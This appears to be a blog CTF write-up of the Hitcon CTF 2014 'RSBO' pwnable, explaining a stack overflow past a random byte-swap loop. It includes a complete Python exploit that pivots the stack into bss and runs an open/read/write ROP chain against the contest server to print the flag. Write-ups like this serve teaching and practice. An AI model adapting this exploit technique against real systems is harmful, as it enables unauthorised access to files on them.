Vulnerabilities

Tuesday, August 19, 2014

Hitcon CTF 2014 - RSBO - Pwnable 150 - [Team SegFault]

Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
char buffer[0x80];  [EBP-0x60]
size = read_80_bytes(buffer); 
for ( i = 0; i < (signed int)size; ++i ) 
{
    rnd = rand();
    v4 = rnd % (i + 1);   
    v3 = buffer[i];    
    buffer[i] = buffer[v4];  
    buffer[v4] = v3;
}
Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.

Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python

import struct
from socket import *

ip = '127.0.0.1'
ip = '210.61.8.96'
port = 51342

soc = socket(AF_INET, SOCK_STREAM)
soc.connect((ip,port))

payload  = struct.pack("<I", 0x00) * 26
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804865a) # leave ; ret
payload += struct.pack("<I", 0x00)       # stdin
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 1024)       # size

# STAGE 2
payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction
payload += struct.pack("<I", 0x08048420) # open@plt
payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x080487d0) # Pointer to File
payload += struct.pack("<I", 0x00)       # READ mode

payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x3)        # Descriptor
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

payload += struct.pack("<I", 0x08048450) # write@plt
payload += struct.pack("<I", 0x42424242) # ret
payload += struct.pack("<I", 0x1)        # stdout
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

soc.send(payload + '\n')
print soc.recv(128)
Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}

No comments:

Post a Comment